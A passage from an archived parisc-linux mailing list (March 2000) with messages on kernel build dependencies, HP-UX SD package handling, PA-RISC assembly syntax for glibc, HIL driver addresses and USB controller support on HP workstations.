Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 11 Mar 2000 19:29:12 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id D8BCD854
	for <parisc-linux@thepuffingroup.com>; Sat, 11 Mar 2000 14:30:02 -0500 (EST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id LAA10732 for parisc-linux@thepuffingroup.com; Sat, 11 Mar 2000 11:30:53 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:7003

Hi all,
Minor problem I think someone else can figure out faster then me.
I changed my .config to use CONFIG_LBA_PCI. When I rebuilt, I got
a "dino_init" no defined linker error.

It turns out no ".depend" file gets created for drivers/gsc.
I looked through linux-2.3/Makefile and drivers/Makefile and
they both looked ok to me. So if someone could take a quick look
at this....

in the meantime, i'll just "make clean" after changing my .config.

thanks,
grant


From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX application support?
Date: Sat, 11 Mar 2000 20:36:19 -0600 (CST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200003120236.UAA10891@osiris.silug.org>
References: <56D553C0B61BD311AD2300A0C9F485C2038D0FD0@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618826 31347 80.91.229.3 (22 Nov 2014 01:13:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "MEYER,ALAN C. \\\(HP-FtCollins,ex1\\\)" <alan_meyer@hp.com>
Original-X-From: steve@osiris.silug.org  Sat Mar 11 20:36:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA11309
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Mar 2000 20:36:19 -0700
Original-Received: (qmail 15374 invoked by uid 15267); 12 Mar 2000 02:37:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15360 invoked from network); 12 Mar 2000 02:37:30 -0000
Original-Received: from pm3-isdn0-176.apci.net (HELO osiris.silug.org) (206.29.113.176)
  by mailserv2.iuinc.com with SMTP; 12 Mar 2000 02:37:30 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id UAA10891;
	Sat, 11 Mar 2000 20:36:19 -0600
In-Reply-To: <56D553C0B61BD311AD2300A0C9F485C2038D0FD0@xfc02.fc.hp.com> from
 "MEYER,ALAN C. (HP-FtCollins,ex1)" at "Feb 28, 2000 02:14:17 pm"
X-Mailer: ELM [version 2.4ME+ PL72 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7004

MEYER,ALAN C. \(HP-FtCollins,ex1\) said:
> Also, I am assuming the install model will be to simply copy files from an
> HP-UX system over to a PA/Linux system.  In particular, I have heard of no
> plans to support HP-UX packages bundled in "SD" format.  Right?

The SD depot files are just tar files.  Supporting them would be
trivial.  You can always untar it, move everything to the appropriate
location, and run the scripts.  Making that automated (maybe with
alien) probably wouldn't be at all difficult...

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Assembly Language Changes
Date: Sun, 12 Mar 2000 15:23:53 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20000312152353.E5281@abacus.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618826 31350 80.91.229.3 (22 Nov 2014 01:13:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@inwestnet.de  Sun Mar 12 08:23:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA15664
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Mar 2000 08:23:37 -0700
Original-Received: (qmail 25731 invoked by uid 15267); 12 Mar 2000 14:24:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25719 invoked from network); 12 Mar 2000 14:24:48 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 12 Mar 2000 14:24:48 -0000
Original-Received: (qmail 2400 invoked from network); 12 Mar 2000 14:24:45 -0000
Original-Received: from port0067.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.67)
  by mail.ginko.net with SMTP; 12 Mar 2000 14:24:45 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id PAA04051
	for parisc-linux@thepuffingroup.com; Sun, 12 Mar 2000 15:24:54 +0100
X-Mailer: Mutt 1.0i
Xref: news.gmane.org gmane.linux.ports.parisc:7005

Hello,
over the last few days or so, I have been trying to get glibc to build and
work for a Linux/PA-RISC target.  I came to believe it would be simpler to
change certain aspects of the assembly language used than to keep working
around them:

 - Labels should always use ':'
 - mnemonics in the first column should be interpreted normally.
 - register names should always start with '%', not be specified by an
   integer
 - where pa2.0 and pa1.1 differ in opcode names aso, the pa2.0 version
   should be used ("b,l" rather than "bl")
 - ';' should be used rather than '!' to separate multiple statements
   on the same line
 - possibly there should be a line comment character to replace ';' ?

The advantages to changing the assembly dialect we use are that using cpp
to pre-process assembly instructions becomes a lot simpler (glibc makes
heavy use of this);  the assembly language looks more similar to those
used for other architectures that run Linux;  there is no difference
between the pa1.1 and pa2.0 versions.

The disadvantage, obviously, is that we would need to keep separate
binaries around to compile HP/UX assembly source;  also, the assembly
files used by the kernel would need to be converted (and probably get
readable to more people in the process).

The actual work to implement the changes should be pretty low, and I'm
more than willing to do it (and actually already implemented the most
important (to me) changes).

	Philipp Rumpf


From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .depend file for drivers/gsc?
Date: Sun, 12 Mar 2000 20:39:27 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20000312203927.G5281@abacus.local>
References: <200003111930.LAA10732@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618827 31353 80.91.229.3 (22 Nov 2014 01:13:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@inwestnet.de  Sun Mar 12 13:39:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA17737
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Mar 2000 13:39:11 -0700
Original-Received: (qmail 3234 invoked by uid 15267); 12 Mar 2000 19:40:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3227 invoked from network); 12 Mar 2000 19:40:25 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 12 Mar 2000 19:40:25 -0000
Original-Received: (qmail 5350 invoked from network); 12 Mar 2000 19:40:22 -0000
Original-Received: from port0940.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.178)
  by mail.ginko.net with SMTP; 12 Mar 2000 19:40:22 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id UAA11289;
	Sun, 12 Mar 2000 20:40:29 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <200003111930.LAA10732@milano.cup.hp.com>; from grundler@cup.hp.com on Sat, Mar 11, 2000 at 11:30:53AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:7006

> Minor problem I think someone else can figure out faster then me.
> I changed my .config to use CONFIG_LBA_PCI. When I rebuilt, I got
> a "dino_init" no defined linker error.
> 
> It turns out no ".depend" file gets created for drivers/gsc.
> I looked through linux-2.3/Makefile and drivers/Makefile and
> they both looked ok to me. So if someone could take a quick look
> at this....
> 
> in the meantime, i'll just "make clean" after changing my .config.

just so the number of misunderstandments doesn't get too large, we are
talking about .gsc.o.flags here.  Grant, could you check it is indeed
not generated by "make dep" ?  I've seen similar problems with fs/binfmt_som.c
and suspect it might turn out to be a problem in the make dep perl script.

	Philipp


From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL_BASE ("finding" devices)
Date: Sun, 12 Mar 2000 15:52:52 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0003121544180.20661-100000@mojo.calyx.net>
References: <MDAEMON80008200003111913.AA1339046@xanaxis.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618827 31355 80.91.229.3 (22 Nov 2014 01:13:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:47 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: bri@mojo.calyx.net  Sun Mar 12 14:51:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA18525
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Mar 2000 14:51:37 -0700
Original-Received: (qmail 30590 invoked by uid 15267); 12 Mar 2000 20:52:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30583 invoked from network); 12 Mar 2000 20:52:54 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 12 Mar 2000 20:52:54 -0000
Original-Received: (qmail 31781 invoked from network); 12 Mar 2000 20:52:52 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (oeb73xasn0v8v6pmx26d@208.132.136.2)
  by mail.calyx.net with SMTP; 12 Mar 2000 20:52:52 -0000
In-Reply-To: <MDAEMON80008200003111913.AA1339046@xanaxis.dyndns.org>
Xref: news.gmane.org gmane.linux.ports.parisc:7007



Hi,

I've only just really started to hack at the HIL driver, but
one thing I noticed off the bat is that the HIL_BASE defined
in hil.h is 0xf0821000 while the device base listed when 
I boot for the HIL is 0xf0201000.  This probably means it 
varies across different models.

Optimally I suppose the best thing would be to somehow 
find the device -- the code that prints out the hardware 
found seems to get strings from the "pdc" which I glean is
the "BIOS".  I suppose the only thing the HIL will have that
is unique is this string, or are there model invariant 
numbers like the PCI fn?  (I haven't been through every 
entry in the hardware database to see.)  Basically I'm
asking is there a better way than a strcmp on the pdc string?

Alternatively I suppose we could do what the alpha folk
have done and have a compile-time selection of the system type
(e.g. "avanti") which sets the values for various things like that.

--
Brian S. Julin



From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL_BASE ("finding" devices)
Date: Sun, 12 Mar 2000 22:13:55 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20000312221355.H5281@abacus.local>
References: <MDAEMON80008200003111913.AA1339046@xanaxis.dyndns.org> <Pine.BSO.4.21.0003121544180.20661-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618827 31357 80.91.229.3 (22 Nov 2014 01:13:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:47 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: "Brian S. Julin" <bri@mojo.calyx.net>, g@abacus.local
Original-X-From: prumpf@inwestnet.de  Sun Mar 12 15:13:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA18747
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Mar 2000 15:13:39 -0700
Original-Received: (qmail 6243 invoked by uid 15267); 12 Mar 2000 21:14:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6233 invoked from network); 12 Mar 2000 21:14:56 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 12 Mar 2000 21:14:56 -0000
Original-Received: (qmail 5913 invoked from network); 12 Mar 2000 21:14:51 -0000
Original-Received: from port0282.fra.ginko.net (HELO inwestnet.de) (root@212.202.71.28)
  by mail.ginko.net with SMTP; 12 Mar 2000 21:14:51 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id WAA01132;
	Sun, 12 Mar 2000 22:14:56 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <Pine.BSO.4.21.0003121544180.20661-100000@mojo.calyx.net>; from bri@mojo.calyx.net on Sun, Mar 12, 2000 at 03:52:52PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7008

On Sun, Mar 12, 2000 at 03:52:52PM -0500, Brian S. Julin wrote:
> I've only just really started to hack at the HIL driver, but
> one thing I noticed off the bat is that the HIL_BASE defined
> in hil.h is 0xf0821000 while the device base listed when 
> I boot for the HIL is 0xf0201000.  This probably means it 
> varies across different models.

It probably does.   AFAIK, the HIL driver is pretty much a hack
Matthew did to get his 715's keyboard working (the 715 and keyboard
are here now and Matthew is in Ottawa, and I don't have it set up
so didn't work on the driver).

> Optimally I suppose the best thing would be to somehow 
> find the device -- the code that prints out the hardware 
> found seems to get strings from the "pdc" which I glean is
> the "BIOS".  I suppose the only thing the HIL will have that
> is unique is this string, or are there model invariant 
> numbers like the PCI fn?

There are indeed, hversion and sversion are the words you're looking
for.  See the register_driver for the current (broken IMHO) interface.

> Alternatively I suppose we could do what the alpha folk
> have done and have a compile-time selection of the system type
> (e.g. "avanti") which sets the values for various things like that.

No way.  The "machine vector" concept wouldn't work well for us - it
works for ppc and alpha because those machines usually have a relatively
limited number of setups - with most chipsets, you can only use one CPU
type;  Lasi is used with PA7100LC, PA7300LC, PA8000, PA8200, and PA8500,
and shares code with the PA7100 (?) version (ASP) as well.  Furthermore
PDC device detection is sane to a certain extent - a lot of devices PDC
doesn't tell us about though.

	Philipp Rumpf


From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] USB
Date: Sun, 12 Mar 2000 19:51:36 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <20000312195136.V27942@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618828 31358 80.91.229.3 (22 Nov 2014 01:13:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sun Mar 12 18:50:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA20194
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Mar 2000 18:50:20 -0700
Original-Received: (qmail 22930 invoked by uid 15267); 13 Mar 2000 00:51:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22920 invoked from network); 13 Mar 2000 00:51:37 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 13 Mar 2000 00:51:37 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id TAA14409
	for parisc-linux@thepuffingroup.com; Sun, 12 Mar 2000 19:51:36 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7009


Someone was asking about the USB interfaces on the C3k/J5k/etc.  I just
took one of their keyboards and attached it to my laptop's USB port and
it worked fine (running Linux 2.3.51).  So as long as the UHCI controller
in the C3k is supported, the rest of the Linux USB layer is fine.  The
USB layer is used quite intensively by the Linux/PPC port (iMacs only have
USB keyboards) so there can't be any endian issues to take care of.


From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Corne Beerse <beerse@ats.nld.alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX application support?
Date: Mon, 13 Mar 2000 10:02:44 +0100
Organization: Alcatel Telecom Nederland bv
Lines: 26
Approved: news@gmane.org
Message-ID: <38CCAEB4.122DB61D@ats.nld.alcatel.nl>
References: <200003120236.UAA10891@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618828 31362 80.91.229.3 (22 Nov 2014 01:13:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:48 +0000 (UTC)
To: Steven Pritchard <steve@silug.org>, parisc-linux@thepuffingroup.com
Original-X-From: beerse@ats.nld.alcatel.nl  Mon Mar 13 03:15:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA22721
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Mar 2000 03:15:25 -0700
Original-Received: (qmail 19944 invoked by uid 15267); 13 Mar 2000 09:16:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19926 invoked from network); 13 Mar 2000 09:16:41 -0000
Original-Received: from gate.alcatel.be (HELO btmplq.god.bel.alcatel.be) (195.207.101.3)
  by mailserv2.iuinc.com with SMTP; 13 Mar 2000 09:16:41 -0000
Original-Received: from proxy.ats.nld.alcatel.nl (proxy.ats.nld.alcatel.nl [138.203.176.252])
	by btmplq.god.bel.alcatel.be (8.9.3+Sun/8.9.1) with ESMTP id KAA03895
	for <parisc-linux@thepuffingroup.com>; Mon, 13 Mar 2000 10:16:26 +0100 (MET)
Original-Received: from nlsols1.ats.nld.alcatel.nl (nlsolnfs [138.203.176.15])
	by proxy.ats.nld.alcatel.nl (8.8.8/8.8.8) with ESMTP id KAA23750
	for <parisc-linux@thepuffingroup.com>; Mon, 13 Mar 2000 10:13:07 +0100 (MET)
Original-Received: from ats.nld.alcatel.nl (beerse@nlhw02 [138.203.176.72])
	by nlsols1.ats.nld.alcatel.nl (8.9.1/8.9.1) with ESMTP id KAA27991;
	Mon, 13 Mar 2000 10:02:45 +0100 (MET)
Original-Sender: beerse@ats.nld.alcatel.nl
X-Mailer: Mozilla 4.08 [en] (X11; I; HP-UX B.10.20 9000/712)
Xref: news.gmane.org gmane.linux.ports.parisc:7010

Steven Pritchard wrote:
> MEYER,ALAN C. \(HP-FtCollins,ex1\) said:
> > Also, I am assuming the install model will be to simply copy files from an
> > HP-UX system over to a PA/Linux system.  In particular, I have heard of no
> > plans to support HP-UX packages bundled in "SD" format.  Right?
> 
> The SD depot files are just tar files.  Supporting them would be
> trivial.  You can always untar it, move everything to the appropriate
> location, and run the scripts.  Making that automated (maybe with
> alien) probably wouldn't be at all difficult...

It's verry easy to hack something yourself: untar the file and have a look
at directories you don't think they belong to the tool. Have a look, they
are scripts and textfiles which contain information what to do. It is verry
easy to write a script (if you need it) for installation. The only question
is if your script is complete. The origional should run in GOD mode (root)
so yours must do so if other users need to use the commands you install.

CB

-- 
Everything should be as simple as possible but not simpler - A. Einstein
Corne' Beerse					| Alcatel Telecom Nederland
mailto:beerse@ats.nld.alcatel.nl		| Postbus 3292
talkto:+31(70)3079108 faxto:+31(70)3079191	| NL-2280 GG  Rijswijk


From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL_BASE ("finding" devices)
Date: Mon, 13 Mar 2000 07:10:07 -0800 (PST)
Lines: 39
Approved: news@gmane.org
Message-ID: <20000313151007.24401.qmail@web507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618828 31363 80.91.229.3 (22 Nov 2014 01:13:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:48 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: Philipp Rumpf <prumpf@inwestnet.de>, "Brian S. Julin" <bri@mojo.calyx.net>,
        g@abacus.local
Original-X-From: ulrich_strelow@yahoo.com  Mon Mar 13 09:09:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA25979
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Mar 2000 09:08:57 -0700
Original-Received: (qmail 1212 invoked by uid 15267); 13 Mar 2000 15:10:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1200 invoked from network); 13 Mar 2000 15:10:08 -0000
Original-Received: from web507.mail.yahoo.com (128.11.68.74)
  by mailserv2.iuinc.com with SMTP; 13 Mar 2000 15:10:08 -0000
Original-Received: (qmail 24402 invoked by uid 60001); 13 Mar 2000 15:10:07 -0000
Original-Received: from [149.234.12.1] by web507.mail.yahoo.com; Mon, 13 Mar 2000 07:10:07 PST
Xref: news.gmane.org gmane.linux.ports.parisc:7011

--- Philipp Rumpf <prumpf@inwestnet.de> wrote:
> On Sun, Mar 12, 2000 at 03:52:52PM -0500, Brian S.
> Julin wrote:
> > I've only just really started to hack at the HIL
> driver, but
> > one thing I noticed off the bat is that the
> HIL_BASE defined
> > in hil.h is 0xf0821000 while the device base
> listed when 
> > I boot for the HIL is 0xf0201000.  This probably
> means it 
> > varies across different models.
> 
> It probably does.   AFAIK, the HIL driver is pretty
> much a hack
> Matthew did to get his 715's keyboard working (the
> 715 and keyboard
> are here now and Matthew is in Ottawa, and I don't
> have it set up
> so didn't work on the driver).
> 
0xf0821000 is the HIL device address connected via ASP
(Model 715/33 and maybe others?). 0xf0201000 is the
HIL device address connected via WAX / LASI.

If you need a tester for a new HIL-driver on a 715/33
(like Matthew was using), please let me know. I have
been using Matthew's hack on my workstation until it
ceased to work, and it allowed me to see the first
responses at the sash prompt.

Ulrich


__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FINK,MARTIN \(HP-FtCollins,ex1\)" <martin_fink@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] USB
Date: Mon, 13 Mar 2000 08:23:38 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C202E9DAE5@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618829 31365 80.91.229.3 (22 Nov 2014 01:13:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:49 +0000 (UTC)
To: "'willy@thepuffingroup.com'" <willy@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com
Original-X-From: martin_fink@hp.com  Mon Mar 13 09:22:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA26222
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Mar 2000 09:22:45 -0700
Original-Received: (qmail 9851 invoked by uid 15267); 13 Mar 2000 15:23:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9781 invoked from network); 13 Mar 2000 15:23:49 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 13 Mar 2000 15:23:49 -0000
Original-Received: from xboibrg2.boi.hp.com (xboibrg2.boi.hp.com [15.56.8.172])
	by palrel1.hp.com (Postfix) with ESMTP
	id 3D31AF5B; Mon, 13 Mar 2000 07:23:40 -0800 (PST)
Original-Received: by xboibrg2.boi.hp.com with Internet Mail Service (5.5.2650.21)
	id <G5NRV4RX>; Mon, 13 Mar 2000 08:23:39 -0700
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:7012

The USB on HP workstations is OHCI, not UHCI.  Don't know if it makes
a difference from the driver perspective.

Martin

+=====================================================================+
| Martin Fink                 | E-mail: mailto:martin_fink@hp.com     |
| UNIX Development Lab        | Phone:  970-898-7076                  |
| Hewlett-Packard Co.         | FAX:    970-898-2838                  |
| 3404 East Harmony Road      | ===================================== |
| Ft. Collins, CO, USA, 80528 | Web:    http://www.hp.com/            |
+=====================================================================+    
 

> -----Original Message-----
> From: willy@thepuffingroup.com [mailto:willy@thepuffingroup.com]
> Sent: Sunday, March 12, 2000 5:52 PM
> To: parisc-linux@thepuffingroup.com
> Subject: [parisc-linux] USB
> 
> 
> 
> Someone was asking about the USB interfaces on the 
> C3k/J5k/etc.  I just
> took one of their keyboards and attached it to my laptop's 
> USB port and
> it worked fine (running Linux 2.3.51).  So as long as the 
> UHCI controller
> in the C3k is supported, the rest of the Linux USB layer is fine.  The
> USB layer is used quite intensively by the Linux/PPC port 
> (iMacs only have
> USB keyboards) so there can't be any endian issues to take care of.
> 
> --------------------------------------------------------------
> -------------
> To unsubscribe: send e-mail to 
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] USB
Date: Mon, 13 Mar 2000 10:30:24 -0500
Lines: 6
Approved: news@gmane.org
Message-ID: <20000313103024.X27942@thepuffingroup.com>
References: <56D553C0B61BD311AD2300A0C9F485C202E9DAE5@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618829 31368 80.91.229.3 (22 Nov 2014 01:13:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "FINK,MARTIN \(HP-FtCollins,ex1\)" <martin_fink@hp.com>
Original-X-From: willy@thepuffingroup.com  Mon Mar 13 09:30:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA26430
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Mar 2000 09:29:56 -0700
Original-Received: (qmail 14550 invoked by uid 15267); 13 Mar 2000 15:31:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14538 invoked from network); 13 Mar 2000 15:31:04 -0000
